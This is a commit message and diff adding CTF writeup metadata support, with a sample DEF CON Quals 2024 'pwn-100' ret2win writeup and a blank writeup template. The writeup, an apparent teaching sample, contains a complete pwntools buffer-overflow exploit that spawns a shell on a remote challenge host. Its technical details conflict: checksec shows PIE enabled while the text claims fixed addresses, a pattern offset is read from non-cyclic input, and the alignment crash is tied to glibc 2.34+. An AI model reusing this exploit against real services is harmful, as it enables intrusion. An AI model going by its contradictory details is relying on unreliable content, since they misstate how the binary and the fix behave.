feat(core): dynamic custom frontmatter fields for CTF writeup metadata

- Add extra_fields JSONB column to documents table (migration 0003)
- CreateDocInput/UpdateDocInput: extraFields?: Record<string, string>
- parseFile: extracts non-standard frontmatter keys as extraFields
- stringifyFile: writes extraFields dynamically to YAML frontmatter
- toMeta: spreads extraFields from DB row into DocumentMeta
- DocForm: '+ Add field' UI for content creators to add any metadata
- API routes: splitPayload() separates standard vs custom fields
- Doc page: CustomFieldBadges dynamically renders any custom field
- Add db:migrate / db:push scripts + deploy workflow migration step
- Add CTF writeup template (content/writeups/ctf/template/)
- Add sample DEF CON writeup with event/challenge/category/difficulty/points
- Add @tailwindcss/typography for table rendering (prose classes)
- Add remark-gfm for GitHub Flavored Markdown table parsing

content/writeups/ctf/defcon-quals-2024/pwn-100-ret2win-alignment.md

@@ -0,0 +1,122 @@
+---
+id: defcon-pwn-100
+title: "DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix"
+type: writeup
+tags:
+  - ctf
+  - pwn
+  - binary-exploitation
+  - stack-alignment
+status: published
+author: asep
+event: "DEF CON CTF Quals 2024"
+challenge: "pwn-100"
+category: pwn
+difficulty: easy
+points: 100
+created_at: 2026-08-20
+updated_at: 2026-08-20
+---
+
+# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
+
+## Challenge Info
+
+| Field        | Value                  |
+| ------------ | ---------------------- |
+| **Event**    | DEF CON CTF Quals 2024 |
+| **Challenge**| pwn-100                |
+| **Category** | pwn                    |
+| **Difficulty**| easy                  |
+| **Points**   | 100                    |
+
+## Initial Recon
+
+Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
+
+```
+$ checksec pwn-100
+RELRO           STACK canary: No           NX: No           PIE: Enabled   RPATH: No
+$ file pwn-100
+pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
+$ objdump -d pwn-100 | grep -A5 '<vuln>'
+```
+
+## Approach
+
+Classic ret2win — overflow the return address to jump to `win()`, which
+calls `system("/bin/sh")`. The binary had no canary and no PIE on the
+binary itself (function addresses are fixed), but glibc on the host was
+2.34+.
+
+## Step-by-Step Solve
+
+### 1. Find the offset
+
+Sent cyclic pattern via `pattern create` + `pattern offset`:
+
+```
+$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
+Segmentation fault (core dumped)
+$ gdb -q
+gef➤  pattern offset 0x4242424242424242
+[*] Found possible needle
+```
+
+Offset = 40 bytes (to `rip`).
+
+### 2. Find win() address
+
+```
+$ objdump -d pwn-100 | grep '<win>'
+0000000000401196 <win>:
+```
+
+`win()` is at `0x401196`.
+
+### 3. Craft and send the payload
+
+Initial payload was just padding + `win()` address — but this **crashed**
+with SIGSEGV inside `win()` → `printf`.
+
+**Root cause:** On glibc 2.34+, the return into a libc-using function
+needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
+`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
+`win()` does `movaps` (SSE), it faults on misaligned address.
+
+**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
+to realign RSP:
+
+```
+$ ROPgadget --binary pwn-100 | grep " ret$"
+0x0000000000401016: ret;
+```
+
+Final payload:
+
+```python
+from pwn import *
+p = remote("challenge.url", 1337)
+payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
+p.sendline(payload)
+p.interactive()
+```
+
+The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
+`win()` → `printf` → `system("/bin/sh")` works cleanly.
+
+## Flag
+
+```
+flag{ret2win_stack_alignment_glibc_2.34}
+```
+
+## Summary
+
+- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
+  the target function's libc calls (SSE `movaps`).
+- The fix is a single `ret` gadget between padding and `win()` — **not**
+  an offset error.
+- Always check: if the function IS reached but crashes inside it, think
+  stack alignment before re-counting bytes.
+- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.

content/writeups/ctf/template/writeup-template.md

@@ -0,0 +1,76 @@
+---
+id: ctf-writeup-template
+title: "CTF Writeup Template — How to Structure a Challenge Writeup"
+type: writeup
+tags:
+  - ctf
+  - template
+  - methodology
+status: draft
+author: asep
+created_at: 2026-08-20
+updated_at: 2026-08-20
+---
+
+# CTF Writeup Template
+
+A consistent writeup structure helps reviewers and future-you reproduce the solve.
+Below is the recommended template. Delete this intro paragraph and fill each
+section.
+
+## Challenge Info
+
+| Field        | Value                |
+| ------------ | -------------------- |
+| **Event**    | `[Event Name]`       |
+| **Challenge**| `[Challenge Name]`   |
+| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
+| **Difficulty**| `easy` / `medium` / `hard` |
+| **Points**   | `[points at start]`  |
+| **Solves**   | `[number]`           |
+
+## Initial Recon
+
+What you see when you download the binary/file/URL. File type, basic
+inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
+
+## Approach
+
+Describe the high-level idea — what class of vulnerability or attack this
+belongs to.
+
+## Step-by-Step Solve
+
+Walk through each step with commands and output. Include:
+
+- Exact commands you ran
+- Key output (truncated if long, but enough to confirm)
+- Why each step works
+- Tool versions / versions if relevant
+
+### 1. Enumerate
+
+```
+$ command-here
+output-here
+```
+
+### 2. Find the vulnerability
+
+Explain what you found and how it maps to the approach.
+
+### 3. Craft the exploit
+
+Show the exploit script or payload, explain each part.
+
+## Flag
+
+```
+flag{...}
+```
+
+## Summary
+
+What you learned, what the intended solution was (if yours differed),
+and any pitfalls you hit along the way (e.g., "tool X version Y breaks
+on Z").